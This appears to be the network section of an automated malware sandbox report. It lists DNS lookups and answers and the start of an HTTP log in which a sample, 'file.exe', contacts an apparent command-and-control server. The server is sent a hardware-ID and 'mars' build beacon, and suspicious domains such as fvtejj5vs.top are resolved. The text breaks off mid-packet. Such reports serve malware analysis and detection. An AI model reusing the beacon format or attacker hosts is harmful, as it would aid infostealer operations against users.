Nov 18, 2024 04:43:40.750515938 CET	192.168.2.6	1.1.1.1	0x8632	Standard query (0)	fvtejj5vs.top	28	IN (0x0001)	false
Nov 18, 2024 04:43:40.790072918 CET	192.168.2.6	1.1.1.1	0xae46	Standard query (0)	fvtejj5vs.top	A (IP address)	IN (0x0001)	false
Nov 18, 2024 04:43:40.790144920 CET	192.168.2.6	1.1.1.1	0x7515	Standard query (0)	fvtejj5vs.top	28	IN (0x0001)	false
Nov 18, 2024 04:43:40.790441990 CET	192.168.2.6	1.1.1.1	0xae46	Standard query (0)	fvtejj5vs.top	A (IP address)	IN (0x0001)	false
Nov 18, 2024 04:43:40.790478945 CET	192.168.2.6	1.1.1.1	0x7515	Standard query (0)	fvtejj5vs.top	28	IN (0x0001)	false
Nov 18, 2024 04:43:40.790752888 CET	192.168.2.6	1.1.1.1	0xae46	Standard query (0)	fvtejj5vs.top	A (IP address)	IN (0x0001)	false
Nov 18, 2024 04:43:40.790787935 CET	192.168.2.6	1.1.1.1	0x7515	Standard query (0)	fvtejj5vs.top	28	IN (0x0001)	false
Nov 18, 2024 04:44:02.893479109 CET	192.168.2.6	1.1.1.1	0xbe91	Standard query (0)	prod.balrog.prod.cloudops.mozgcp.net	28	IN (0x0001)	false
Nov 18, 2024 04:44:03.545638084 CET	192.168.2.6	1.1.1.1	0x9255	Standard query (0)	detectportal.firefox.com	A (IP address)	IN (0x0001)	false
Nov 18, 2024 04:44:16.524959087 CET	192.168.2.6	1.1.1.1	0xc9ab	Standard query (0)	detectportal.firefox.com	A (IP address)	IN (0x0001)	false
Nov 18, 2024 04:46:13.380662918 CET	192.168.2.6	1.1.1.1	0xd180	Standard query (0)	detectportal.firefox.com	A (IP address)	IN (0x0001)	false
Nov 18, 2024 04:48:33.822261095 CET	192.168.2.6	1.1.1.1	0xeb7	Standard query (0)	contile.services.mozilla.com	A (IP address)	IN (0x0001)	false
Nov 18, 2024 04:48:33.823967934 CET	192.168.2.6	1.1.1.1	0x9e98	Standard query (0)	spocs.getpocket.com	A (IP address)	IN (0x0001)	false
Nov 18, 2024 04:48:33.824587107 CET	192.168.2.6	1.1.1.1	0x74f2	Standard query (0)	prod.ads.prod.webservices.mozgcp.net	A (IP address)	IN (0x0001)	false
Nov 18, 2024 04:48:33.831988096 CET	192.168.2.6	1.1.1.1	0x86e7	Standard query (0)	prod.ads.prod.webservices.mozgcp.net	28	IN (0x0001)	false
Nov 18, 2024 04:48:33.837116003 CET	192.168.2.6	1.1.1.1	0xb48e	Standard query (0)	contile.services.mozilla.com	28	IN (0x0001)	false
Nov 18, 2024 04:48:34.455307007 CET	192.168.2.6	1.1.1.1	0x7fd6	Standard query (0)	detectportal.firefox.com	A (IP address)	IN (0x0001)	false
Nov 18, 2024 04:48:35.063740015 CET	192.168.2.6	1.1.1.1	0xe11d	Standard query (0)	example.org	A (IP address)	IN (0x0001)	false

DNS Answers

Timestamp	Source IP	Dest IP	Trans ID	Reply Code	Name	CName	Address	Type	Class	DNS over HTTPS
Nov 18, 2024 04:41:17.050430059 CET	1.1.1.1	192.168.2.6	0xe160	No error (0)	www.google.com		142.250.186.164	A (IP address)	IN (0x0001)	false
Nov 18, 2024 04:41:17.050667048 CET	1.1.1.1	192.168.2.6	0x40e0	No error (0)	www.google.com			65	IN (0x0001)	false
Nov 18, 2024 04:41:20.727284908 CET	1.1.1.1	192.168.2.6	0x477a	No error (0)	apis.google.com	plus.l.google.com		CNAME (Canonical name)	IN (0x0001)	false
Nov 18, 2024 04:41:20.727284908 CET	1.1.1.1	192.168.2.6	0x477a	No error (0)	plus.l.google.com		142.250.184.238	A (IP address)	IN (0x0001)	false
Nov 18, 2024 04:41:20.727766991 CET	1.1.1.1	192.168.2.6	0x5eaa	No error (0)	apis.google.com	plus.l.google.com		CNAME (Canonical name)	IN (0x0001)	false
Nov 18, 2024 04:41:21.814553022 CET	1.1.1.1	192.168.2.6	0x7e87	No error (0)	play.google.com		142.250.186.174	A (IP address)	IN (0x0001)	false
Nov 18, 2024 04:41:27.413271904 CET	1.1.1.1	192.168.2.6	0x74e	No error (0)	ntp.msn.com	www-msn-com.a-0003.a-msedge.net		CNAME (Canonical name)	IN (0x0001)	false
Nov 18, 2024 04:41:27.413520098 CET	1.1.1.1	192.168.2.6	0x46c8	No error (0)	ntp.msn.com	www-msn-com.a-0003.a-msedge.net		CNAME (Canonical name)	IN (0x0001)	false
Nov 18, 2024 04:41:27.762552977 CET	1.1.1.1	192.168.2.6	0x528d	No error (0)	bingadsedgeextension-prod-europe.azurewebsites.net	ssl.bingadsedgeextension-prod-europe.azurewebsites.net		CNAME (Canonical name)	IN (0x0001)	false
Nov 18, 2024 04:41:27.762552977 CET	1.1.1.1	192.168.2.6	0x528d	No error (0)	ssl.bingadsedgeextension-prod-europe.azurewebsites.net		94.245.104.56	A (IP address)	IN (0x0001)	false
Nov 18, 2024 04:41:27.805994034 CET	1.1.1.1	192.168.2.6	0xc74e	No error (0)	bingadsedgeextension-prod-europe.azurewebsites.net	ssl.bingadsedgeextension-prod-europe.azurewebsites.net		CNAME (Canonical name)	IN (0x0001)	false
Nov 18, 2024 04:41:28.799722910 CET	1.1.1.1	192.168.2.6	0xf9f2	No error (0)	bzib.nelreports.net	bzib.nelreports.net.akamaized.net		CNAME (Canonical name)	IN (0x0001)	false
Nov 18, 2024 04:41:28.799756050 CET	1.1.1.1	192.168.2.6	0x747e	No error (0)	bzib.nelreports.net	bzib.nelreports.net.akamaized.net		CNAME (Canonical name)	IN (0x0001)	false
Nov 18, 2024 04:41:30.559838057 CET	1.1.1.1	192.168.2.6	0x339a	No error (0)	sb.scorecardresearch.com		18.244.18.122	A (IP address)	IN (0x0001)	false
Nov 18, 2024 04:41:30.559838057 CET	1.1.1.1	192.168.2.6	0x339a	No error (0)	sb.scorecardresearch.com		18.244.18.38	A (IP address)	IN (0x0001)	false
Nov 18, 2024 04:41:30.559838057 CET	1.1.1.1	192.168.2.6	0x339a	No error (0)	sb.scorecardresearch.com		18.244.18.27	A (IP address)	IN (0x0001)	false
Nov 18, 2024 04:41:30.559838057 CET	1.1.1.1	192.168.2.6	0x339a	No error (0)	sb.scorecardresearch.com		18.244.18.32	A (IP address)	IN (0x0001)	false
Nov 18, 2024 04:41:30.637413979 CET	1.1.1.1	192.168.2.6	0x9532	No error (0)	assets.msn.com	assets.msn.com.edgekey.net		CNAME (Canonical name)	IN (0x0001)	false
Nov 18, 2024 04:41:30.637504101 CET	1.1.1.1	192.168.2.6	0x671f	No error (0)	assets.msn.com	assets.msn.com.edgekey.net		CNAME (Canonical name)	IN (0x0001)	false
Nov 18, 2024 04:41:30.648236036 CET	1.1.1.1	192.168.2.6	0x9350	No error (0)	c.msn.com	c-msn-com-nsatc.trafficmanager.net		CNAME (Canonical name)	IN (0x0001)	false
Nov 18, 2024 04:41:30.648895025 CET	1.1.1.1	192.168.2.6	0x1bac	No error (0)	c.msn.com	c-msn-com-nsatc.trafficmanager.net		CNAME (Canonical name)	IN (0x0001)	false
Nov 18, 2024 04:41:30.659488916 CET	1.1.1.1	192.168.2.6	0x1a48	No error (0)	api.msn.com	api-msn-com.a-0003.a-msedge.net		CNAME (Canonical name)	IN (0x0001)	false
Nov 18, 2024 04:41:30.659930944 CET	1.1.1.1	192.168.2.6	0xb004	No error (0)	api.msn.com	api-msn-com.a-0003.a-msedge.net		CNAME (Canonical name)	IN (0x0001)	false
Nov 18, 2024 04:41:30.893860102 CET	1.1.1.1	192.168.2.6	0xee31	No error (0)	clients2.googleusercontent.com	googlehosted.l.googleusercontent.com		CNAME (Canonical name)	IN (0x0001)	false
Nov 18, 2024 04:41:30.893860102 CET	1.1.1.1	192.168.2.6	0xee31	No error (0)	googlehosted.l.googleusercontent.com		142.250.186.161	A (IP address)	IN (0x0001)	false
Nov 18, 2024 04:41:30.894401073 CET	1.1.1.1	192.168.2.6	0xf02d	No error (0)	clients2.googleusercontent.com	googlehosted.l.googleusercontent.com		CNAME (Canonical name)	IN (0x0001)	false
Nov 18, 2024 04:41:31.244450092 CET	1.1.1.1	192.168.2.6	0xa26b	No error (0)	chrome.cloudflare-dns.com		162.159.61.3	A (IP address)	IN (0x0001)	false
Nov 18, 2024 04:41:31.244450092 CET	1.1.1.1	192.168.2.6	0xa26b	No error (0)	chrome.cloudflare-dns.com		172.64.41.3	A (IP address)	IN (0x0001)	false
Nov 18, 2024 04:41:31.244513988 CET	1.1.1.1	192.168.2.6	0xeaca	No error (0)	chrome.cloudflare-dns.com			65	IN (0x0001)	false
Nov 18, 2024 04:41:31.245863914 CET	1.1.1.1	192.168.2.6	0xa33d	No error (0)	chrome.cloudflare-dns.com		162.159.61.3	A (IP address)	IN (0x0001)	false
Nov 18, 2024 04:41:31.245863914 CET	1.1.1.1	192.168.2.6	0xa33d	No error (0)	chrome.cloudflare-dns.com		172.64.41.3	A (IP address)	IN (0x0001)	false
Nov 18, 2024 04:41:31.245877981 CET	1.1.1.1	192.168.2.6	0x7aba	No error (0)	chrome.cloudflare-dns.com			65	IN (0x0001)	false
Nov 18, 2024 04:41:31.279278040 CET	1.1.1.1	192.168.2.6	0x39ca	No error (0)	chrome.cloudflare-dns.com		172.64.41.3	A (IP address)	IN (0x0001)	false
Nov 18, 2024 04:41:31.279278040 CET	1.1.1.1	192.168.2.6	0x39ca	No error (0)	chrome.cloudflare-dns.com		162.159.61.3	A (IP address)	IN (0x0001)	false
Nov 18, 2024 04:41:31.279333115 CET	1.1.1.1	192.168.2.6	0xa08a	No error (0)	chrome.cloudflare-dns.com			65	IN (0x0001)	false
Nov 18, 2024 04:42:15.131930113 CET	1.1.1.1	192.168.2.6	0xb73c	No error (0)	home.fvtejj5vs.top		62.76.234.151	A (IP address)	IN (0x0001)	false
Nov 18, 2024 04:42:19.272497892 CET	1.1.1.1	192.168.2.6	0x558b	No error (0)	cook-rain.sbs		188.114.96.3	A (IP address)	IN (0x0001)	false
Nov 18, 2024 04:42:19.272497892 CET	1.1.1.1	192.168.2.6	0x558b	No error (0)	cook-rain.sbs		188.114.97.3	A (IP address)	IN (0x0001)	false
Nov 18, 2024 04:42:30.963027954 CET	1.1.1.1	192.168.2.6	0x925a	No error (0)	chrome.cloudflare-dns.com		172.64.41.3	A (IP address)	IN (0x0001)	false
Nov 18, 2024 04:42:30.963027954 CET	1.1.1.1	192.168.2.6	0x925a	No error (0)	chrome.cloudflare-dns.com		162.159.61.3	A (IP address)	IN (0x0001)	false
Nov 18, 2024 04:42:30.963054895 CET	1.1.1.1	192.168.2.6	0xbd92	No error (0)	chrome.cloudflare-dns.com			65	IN (0x0001)	false
Nov 18, 2024 04:42:30.968626976 CET	1.1.1.1	192.168.2.6	0x160b	No error (0)	chrome.cloudflare-dns.com			65	IN (0x0001)	false
Nov 18, 2024 04:42:30.968736887 CET	1.1.1.1	192.168.2.6	0x1c78	No error (0)	chrome.cloudflare-dns.com		162.159.61.3	A (IP address)	IN (0x0001)	false
Nov 18, 2024 04:42:30.968736887 CET	1.1.1.1	192.168.2.6	0x1c78	No error (0)	chrome.cloudflare-dns.com		172.64.41.3	A (IP address)	IN (0x0001)	false
Nov 18, 2024 04:42:30.968753099 CET	1.1.1.1	192.168.2.6	0x3499	No error (0)	chrome.cloudflare-dns.com			65	IN (0x0001)	false
Nov 18, 2024 04:42:30.968985081 CET	1.1.1.1	192.168.2.6	0xa6a4	No error (0)	chrome.cloudflare-dns.com		172.64.41.3	A (IP address)	IN (0x0001)	false
Nov 18, 2024 04:42:30.968985081 CET	1.1.1.1	192.168.2.6	0xa6a4	No error (0)	chrome.cloudflare-dns.com		162.159.61.3	A (IP address)	IN (0x0001)	false
Nov 18, 2024 04:42:36.824353933 CET	1.1.1.1	192.168.2.6	0xba15	No error (0)	prod.classify-client.prod.webservices.mozgcp.net		35.190.72.216	A (IP address)	IN (0x0001)	false
Nov 18, 2024 04:42:36.883936882 CET	1.1.1.1	192.168.2.6	0x7fde	No error (0)	prod.classify-client.prod.webservices.mozgcp.net		35.190.72.216	A (IP address)	IN (0x0001)	false
Nov 18, 2024 04:42:37.804011106 CET	1.1.1.1	192.168.2.6	0x5d80	No error (0)	youtube.com		216.58.212.142	A (IP address)	IN (0x0001)	false
Nov 18, 2024 04:42:37.811992884 CET	1.1.1.1	192.168.2.6	0x1197	No error (0)	youtube.com		142.250.185.78	A (IP address)	IN (0x0001)	false
Nov 18, 2024 04:42:37.819534063 CET	1.1.1.1	192.168.2.6	0x6e57	No error (0)	youtube.com			28	IN (0x0001)	false
Nov 18, 2024 04:42:38.351665974 CET	1.1.1.1	192.168.2.6	0x3366	No error (0)	detectportal.firefox.com	detectportal.prod.mozaws.net		CNAME (Canonical name)	IN (0x0001)	false
Nov 18, 2024 04:42:38.351665974 CET	1.1.1.1	192.168.2.6	0x3366	No error (0)	prod.detectportal.prod.cloudops.mozgcp.net		34.107.221.82	A (IP address)	IN (0x0001)	false
Nov 18, 2024 04:42:38.507000923 CET	1.1.1.1	192.168.2.6	0x8a7f	No error (0)	prod.detectportal.prod.cloudops.mozgcp.net		34.107.221.82	A (IP address)	IN (0x0001)	false
Nov 18, 2024 04:42:38.515810966 CET	1.1.1.1	192.168.2.6	0xafb7	No error (0)	prod.detectportal.prod.cloudops.mozgcp.net			28	IN (0x0001)	false
Nov 18, 2024 04:42:39.138645887 CET	1.1.1.1	192.168.2.6	0xe82a	No error (0)	contile.services.mozilla.com		34.117.188.166	A (IP address)	IN (0x0001)	false
Nov 18, 2024 04:42:39.149740934 CET	1.1.1.1	192.168.2.6	0x791c	No error (0)	contile.services.mozilla.com		34.117.188.166	A (IP address)	IN (0x0001)	false
Nov 18, 2024 04:42:39.154526949 CET	1.1.1.1	192.168.2.6	0x6d24	No error (0)	example.org		93.184.215.14	A (IP address)	IN (0x0001)	false
Nov 18, 2024 04:42:39.161746025 CET	1.1.1.1	192.168.2.6	0xf1fe	No error (0)	example.org		93.184.215.14	A (IP address)	IN (0x0001)	false
Nov 18, 2024 04:42:39.163108110 CET	1.1.1.1	192.168.2.6	0x7a	No error (0)	ipv4only.arpa		192.0.0.171	A (IP address)	IN (0x0001)	false
Nov 18, 2024 04:42:39.163108110 CET	1.1.1.1	192.168.2.6	0x7a	No error (0)	ipv4only.arpa		192.0.0.170	A (IP address)	IN (0x0001)	false
Nov 18, 2024 04:42:39.165026903 CET	1.1.1.1	192.168.2.6	0x8615	No error (0)	spocs.getpocket.com	prod.ads.prod.webservices.mozgcp.net		CNAME (Canonical name)	IN (0x0001)	false
Nov 18, 2024 04:42:39.165026903 CET	1.1.1.1	192.168.2.6	0x8615	No error (0)	prod.ads.prod.webservices.mozgcp.net		34.117.188.166	A (IP address)	IN (0x0001)	false
Nov 18, 2024 04:42:39.169105053 CET	1.1.1.1	192.168.2.6	0x9ce4	No error (0)	balrog-aus5.r53-2.services.mozilla.com	prod.balrog.prod.cloudops.mozgcp.net		CNAME (Canonical name)	IN (0x0001)	false
Nov 18, 2024 04:42:39.169105053 CET	1.1.1.1	192.168.2.6	0x9ce4	No error (0)	prod.balrog.prod.cloudops.mozgcp.net		35.244.181.201	A (IP address)	IN (0x0001)	false
Nov 18, 2024 04:42:39.190509081 CET	1.1.1.1	192.168.2.6	0x72e3	No error (0)	prod.ads.prod.webservices.mozgcp.net		34.117.188.166	A (IP address)	IN (0x0001)	false
Nov 18, 2024 04:42:39.194858074 CET	1.1.1.1	192.168.2.6	0x2e02	No error (0)	prod.balrog.prod.cloudops.mozgcp.net		35.244.181.201	A (IP address)	IN (0x0001)	false
Nov 18, 2024 04:42:39.322319031 CET	1.1.1.1	192.168.2.6	0x1d62	No error (0)	detectportal.firefox.com	detectportal.prod.mozaws.net		CNAME (Canonical name)	IN (0x0001)	false
Nov 18, 2024 04:42:39.322319031 CET	1.1.1.1	192.168.2.6	0x1d62	No error (0)	prod.detectportal.prod.cloudops.mozgcp.net		34.107.221.82	A (IP address)	IN (0x0001)	false
Nov 18, 2024 04:42:39.885308027 CET	1.1.1.1	192.168.2.6	0xfcc9	No error (0)	content-signature-2.cdn.mozilla.net	content-signature-chains.prod.autograph.services.mozaws.net		CNAME (Canonical name)	IN (0x0001)	false
Nov 18, 2024 04:42:39.885308027 CET	1.1.1.1	192.168.2.6	0xfcc9	No error (0)	content-signature-chains.prod.autograph.services.mozaws.net	prod.content-signature-chains.prod.webservices.mozgcp.net		CNAME (Canonical name)	IN (0x0001)	false
Nov 18, 2024 04:42:39.885308027 CET	1.1.1.1	192.168.2.6	0xfcc9	No error (0)	prod.content-signature-chains.prod.webservices.mozgcp.net		34.160.144.191	A (IP address)	IN (0x0001)	false
Nov 18, 2024 04:42:39.904526949 CET	1.1.1.1	192.168.2.6	0x6072	No error (0)	prod.content-signature-chains.prod.webservices.mozgcp.net		34.160.144.191	A (IP address)	IN (0x0001)	false
Nov 18, 2024 04:42:39.912883997 CET	1.1.1.1	192.168.2.6	0x2b6	No error (0)	prod.content-signature-chains.prod.webservices.mozgcp.net			28	IN (0x0001)	false
Nov 18, 2024 04:43:02.857002974 CET	1.1.1.1	192.168.2.6	0x551	No error (0)	consentdeliveryfd.azurefd.net	firstparty-azurefd-prod.trafficmanager.net		CNAME (Canonical name)	IN (0x0001)	false
Nov 18, 2024 04:43:02.857002974 CET	1.1.1.1	192.168.2.6	0x551	No error (0)	shed.dual-low.s-part-0017.t-0009.t-msedge.net	s-part-0017.t-0009.t-msedge.net		CNAME (Canonical name)	IN (0x0001)	false
Nov 18, 2024 04:43:02.857002974 CET	1.1.1.1	192.168.2.6	0x551	No error (0)	s-part-0017.t-0009.t-msedge.net		13.107.246.45	A (IP address)	IN (0x0001)	false
Nov 18, 2024 04:43:02.857433081 CET	1.1.1.1	192.168.2.6	0x3a80	No error (0)	consentdeliveryfd.azurefd.net	firstparty-azurefd-prod.trafficmanager.net		CNAME (Canonical name)	IN (0x0001)	false
Nov 18, 2024 04:43:02.857780933 CET	1.1.1.1	192.168.2.6	0x45a5	No error (0)	js.monitor.azure.com	aijscdn2-bwfdfxezdubebtb0.z01.azurefd.net		CNAME (Canonical name)	IN (0x0001)	false
Nov 18, 2024 04:43:02.857780933 CET	1.1.1.1	192.168.2.6	0x45a5	No error (0)	aijscdn2-bwfdfxezdubebtb0.z01.azurefd.net	star-azurefd-prod.trafficmanager.net		CNAME (Canonical name)	IN (0x0001)	false
Nov 18, 2024 04:43:02.857780933 CET	1.1.1.1	192.168.2.6	0x45a5	No error (0)	shed.dual-low.s-part-0035.t-0009.t-msedge.net	s-part-0035.t-0009.t-msedge.net		CNAME (Canonical name)	IN (0x0001)	false
Nov 18, 2024 04:43:02.857780933 CET	1.1.1.1	192.168.2.6	0x45a5	No error (0)	s-part-0035.t-0009.t-msedge.net		13.107.246.63	A (IP address)	IN (0x0001)	false
Nov 18, 2024 04:43:02.889894009 CET	1.1.1.1	192.168.2.6	0x3373	No error (0)	js.monitor.azure.com	aijscdn2-bwfdfxezdubebtb0.z01.azurefd.net		CNAME (Canonical name)	IN (0x0001)	false
Nov 18, 2024 04:43:02.889894009 CET	1.1.1.1	192.168.2.6	0x3373	No error (0)	aijscdn2-bwfdfxezdubebtb0.z01.azurefd.net	star-azurefd-prod.trafficmanager.net		CNAME (Canonical name)	IN (0x0001)	false
Nov 18, 2024 04:43:03.462963104 CET	1.1.1.1	192.168.2.6	0xa8c9	No error (0)	www.google.com		142.250.184.228	A (IP address)	IN (0x0001)	false
Nov 18, 2024 04:43:03.463615894 CET	1.1.1.1	192.168.2.6	0x6c17	No error (0)	www.google.com			65	IN (0x0001)	false
Nov 18, 2024 04:43:06.911582947 CET	1.1.1.1	192.168.2.6	0xc406	No error (0)	balrog-aus5.r53-2.services.mozilla.com	prod.balrog.prod.cloudops.mozgcp.net		CNAME (Canonical name)	IN (0x0001)	false
Nov 18, 2024 04:43:06.911582947 CET	1.1.1.1	192.168.2.6	0xc406	No error (0)	prod.balrog.prod.cloudops.mozgcp.net		35.244.181.201	A (IP address)	IN (0x0001)	false
Nov 18, 2024 04:43:06.927578926 CET	1.1.1.1	192.168.2.6	0xfc3b	No error (0)	prod.balrog.prod.cloudops.mozgcp.net		35.244.181.201	A (IP address)	IN (0x0001)	false
Nov 18, 2024 04:43:07.220321894 CET	1.1.1.1	192.168.2.6	0x291b	No error (0)	balrog-aus5.r53-2.services.mozilla.com	prod.balrog.prod.cloudops.mozgcp.net		CNAME (Canonical name)	IN (0x0001)	false
Nov 18, 2024 04:43:07.220321894 CET	1.1.1.1	192.168.2.6	0x291b	No error (0)	prod.balrog.prod.cloudops.mozgcp.net		35.244.181.201	A (IP address)	IN (0x0001)	false
Nov 18, 2024 04:43:12.454636097 CET	1.1.1.1	192.168.2.6	0x6a6e	No error (0)	fvtejj5vs.top		62.76.234.151	A (IP address)	IN (0x0001)	false
Nov 18, 2024 04:43:13.620281935 CET	1.1.1.1	192.168.2.6	0x6a6e	No error (0)	fvtejj5vs.top		62.76.234.151	A (IP address)	IN (0x0001)	false
Nov 18, 2024 04:43:13.620409012 CET	1.1.1.1	192.168.2.6	0x6a6e	No error (0)	fvtejj5vs.top		62.76.234.151	A (IP address)	IN (0x0001)	false
Nov 18, 2024 04:43:16.050688982 CET	1.1.1.1	192.168.2.6	0xb48f	No error (0)	fvtejj5vs.top		62.76.234.151	A (IP address)	IN (0x0001)	false
Nov 18, 2024 04:43:16.050699949 CET	1.1.1.1	192.168.2.6	0xb48f	No error (0)	fvtejj5vs.top		62.76.234.151	A (IP address)	IN (0x0001)	false
Nov 18, 2024 04:43:33.512409925 CET	1.1.1.1	192.168.2.6	0xa2f0	No error (0)	detectportal.firefox.com	detectportal.prod.mozaws.net		CNAME (Canonical name)	IN (0x0001)	false
Nov 18, 2024 04:43:33.512409925 CET	1.1.1.1	192.168.2.6	0xa2f0	No error (0)	prod.detectportal.prod.cloudops.mozgcp.net		34.107.221.82	A (IP address)	IN (0x0001)	false
Nov 18, 2024 04:43:33.622512102 CET	1.1.1.1	192.168.2.6	0xd3f7	No error (0)	balrog-aus5.r53-2.services.mozilla.com	prod.balrog.prod.cloudops.mozgcp.net		CNAME (Canonical name)	IN (0x0001)	false
Nov 18, 2024 04:43:33.622512102 CET	1.1.1.1	192.168.2.6	0xd3f7	No error (0)	prod.balrog.prod.cloudops.mozgcp.net		35.244.181.201	A (IP address)	IN (0x0001)	false
Nov 18, 2024 04:43:33.688055992 CET	1.1.1.1	192.168.2.6	0xb9e4	No error (0)	prod.content-signature-chains.prod.webservices.mozgcp.net			28	IN (0x0001)	false
Nov 18, 2024 04:43:34.162746906 CET	1.1.1.1	192.168.2.6	0x7e36	No error (0)	detectportal.firefox.com	detectportal.prod.mozaws.net		CNAME (Canonical name)	IN (0x0001)	false
Nov 18, 2024 04:43:34.162746906 CET	1.1.1.1	192.168.2.6	0x7e36	No error (0)	prod.detectportal.prod.cloudops.mozgcp.net		34.107.221.82	A (IP address)	IN (0x0001)	false
Nov 18, 2024 04:43:40.714096069 CET	1.1.1.1	192.168.2.6	0x3082	No error (0)	fvtejj5vs.top		62.76.234.151	A (IP address)	IN (0x0001)	false
Nov 18, 2024 04:43:40.714104891 CET	1.1.1.1	192.168.2.6	0x3082	No error (0)	fvtejj5vs.top		62.76.234.151	A (IP address)	IN (0x0001)	false
Nov 18, 2024 04:43:40.714114904 CET	1.1.1.1	192.168.2.6	0x3082	No error (0)	fvtejj5vs.top		62.76.234.151	A (IP address)	IN (0x0001)	false
Nov 18, 2024 04:43:40.733712912 CET	1.1.1.1	192.168.2.6	0xc04c	No error (0)	fvtejj5vs.top		62.76.234.151	A (IP address)	IN (0x0001)	false
Nov 18, 2024 04:43:40.733728886 CET	1.1.1.1	192.168.2.6	0xc04c	No error (0)	fvtejj5vs.top		62.76.234.151	A (IP address)	IN (0x0001)	false
Nov 18, 2024 04:43:40.757868052 CET	1.1.1.1	192.168.2.6	0x5a9f	No error (0)	fvtejj5vs.top		62.76.234.151	A (IP address)	IN (0x0001)	false
Nov 18, 2024 04:43:40.757884979 CET	1.1.1.1	192.168.2.6	0x5a9f	No error (0)	fvtejj5vs.top		62.76.234.151	A (IP address)	IN (0x0001)	false
Nov 18, 2024 04:43:40.797307014 CET	1.1.1.1	192.168.2.6	0xae46	No error (0)	fvtejj5vs.top		62.76.234.151	A (IP address)	IN (0x0001)	false
Nov 18, 2024 04:43:40.797316074 CET	1.1.1.1	192.168.2.6	0xae46	No error (0)	fvtejj5vs.top		62.76.234.151	A (IP address)	IN (0x0001)	false
Nov 18, 2024 04:43:41.284629107 CET	1.1.1.1	192.168.2.6	0x7b06	No error (0)	fvtejj5vs.top		62.76.234.151	A (IP address)	IN (0x0001)	false
Nov 18, 2024 04:44:02.888684988 CET	1.1.1.1	192.168.2.6	0x23d0	No error (0)	balrog-aus5.r53-2.services.mozilla.com	prod.balrog.prod.cloudops.mozgcp.net		CNAME (Canonical name)	IN (0x0001)	false
Nov 18, 2024 04:44:02.888684988 CET	1.1.1.1	192.168.2.6	0x23d0	No error (0)	prod.balrog.prod.cloudops.mozgcp.net		35.244.181.201	A (IP address)	IN (0x0001)	false
Nov 18, 2024 04:44:03.552310944 CET	1.1.1.1	192.168.2.6	0x9255	No error (0)	detectportal.firefox.com	detectportal.prod.mozaws.net		CNAME (Canonical name)	IN (0x0001)	false
Nov 18, 2024 04:44:03.552310944 CET	1.1.1.1	192.168.2.6	0x9255	No error (0)	prod.detectportal.prod.cloudops.mozgcp.net		34.107.221.82	A (IP address)	IN (0x0001)	false
Nov 18, 2024 04:44:16.532174110 CET	1.1.1.1	192.168.2.6	0xc9ab	No error (0)	detectportal.firefox.com	detectportal.prod.mozaws.net		CNAME (Canonical name)	IN (0x0001)	false
Nov 18, 2024 04:44:16.532174110 CET	1.1.1.1	192.168.2.6	0xc9ab	No error (0)	prod.detectportal.prod.cloudops.mozgcp.net		34.107.221.82	A (IP address)	IN (0x0001)	false
Nov 18, 2024 04:46:13.387473106 CET	1.1.1.1	192.168.2.6	0xd180	No error (0)	detectportal.firefox.com	detectportal.prod.mozaws.net		CNAME (Canonical name)	IN (0x0001)	false
Nov 18, 2024 04:46:13.387473106 CET	1.1.1.1	192.168.2.6	0xd180	No error (0)	prod.detectportal.prod.cloudops.mozgcp.net		34.107.221.82	A (IP address)	IN (0x0001)	false
Nov 18, 2024 04:48:33.829024076 CET	1.1.1.1	192.168.2.6	0xeb7	No error (0)	contile.services.mozilla.com		34.117.188.166	A (IP address)	IN (0x0001)	false
Nov 18, 2024 04:48:33.830698967 CET	1.1.1.1	192.168.2.6	0x9e98	No error (0)	spocs.getpocket.com	prod.ads.prod.webservices.mozgcp.net		CNAME (Canonical name)	IN (0x0001)	false
Nov 18, 2024 04:48:33.830698967 CET	1.1.1.1	192.168.2.6	0x9e98	No error (0)	prod.ads.prod.webservices.mozgcp.net		34.117.188.166	A (IP address)	IN (0x0001)	false
Nov 18, 2024 04:48:33.831459999 CET	1.1.1.1	192.168.2.6	0x74f2	No error (0)	prod.ads.prod.webservices.mozgcp.net		34.117.188.166	A (IP address)	IN (0x0001)	false
Nov 18, 2024 04:48:34.462110043 CET	1.1.1.1	192.168.2.6	0x7fd6	No error (0)	detectportal.firefox.com	detectportal.prod.mozaws.net		CNAME (Canonical name)	IN (0x0001)	false
Nov 18, 2024 04:48:34.462110043 CET	1.1.1.1	192.168.2.6	0x7fd6	No error (0)	prod.detectportal.prod.cloudops.mozgcp.net		34.107.221.82	A (IP address)	IN (0x0001)	false
Nov 18, 2024 04:48:35.070415020 CET	1.1.1.1	192.168.2.6	0xe11d	No error (0)	example.org		93.184.215.14	A (IP address)	IN (0x0001)	false

HTTP Packets

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
0	192.168.2.6	49710	185.215.113.206	80	3776	C:\Users\user\Desktop\file.exe

Timestamp	Bytes transferred	Direction	Data
Nov 18, 2024 04:41:08.395495892 CET	90	OUT	GET / HTTP/1.1 Host: 185.215.113.206 Connection: Keep-Alive Cache-Control: no-cache
Nov 18, 2024 04:41:09.301724911 CET	203	IN	HTTP/1.1 200 OK Date: Mon, 18 Nov 2024 03:41:09 GMT Server: Apache/2.4.41 (Ubuntu) Content-Length: 0 Keep-Alive: timeout=5, max=100 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8
Nov 18, 2024 04:41:09.353650093 CET	413	OUT	POST /c4becf79229cb002.php HTTP/1.1 Content-Type: multipart/form-data; boundary=----IDAEHCFHJJJJECAAFBKJ Host: 185.215.113.206 Content-Length: 211 Connection: Keep-Alive Cache-Control: no-cache Data Raw: 2d 2d 2d 2d 2d 2d 49 44 41 45 48 43 46 48 4a 4a 4a 4a 45 43 41 41 46 42 4b 4a 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 68 77 69 64 22 0d 0a 0d 0a 43 32 36 44 35 41 44 31 38 34 41 41 31 31 30 36 36 35 34 35 34 36 0d 0a 2d 2d 2d 2d 2d 2d 49 44 41 45 48 43 46 48 4a 4a 4a 4a 45 43 41 41 46 42 4b 4a 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 62 75 69 6c 64 22 0d 0a 0d 0a 6d 61 72 73 0d 0a 2d 2d 2d 2d 2d 2d 49 44 41 45 48 43 46 48 4a 4a 4a 4a 45 43 41 41 46 42 4b 4a 2d 2d 0d 0a Data Ascii: ------IDAEHCFHJJJJECAAFBKJContent-Disposition: form-data; name="hwid"C26D5AD184AA1106654546------IDAEHCFHJJJJECAAFBKJContent-Disposition: 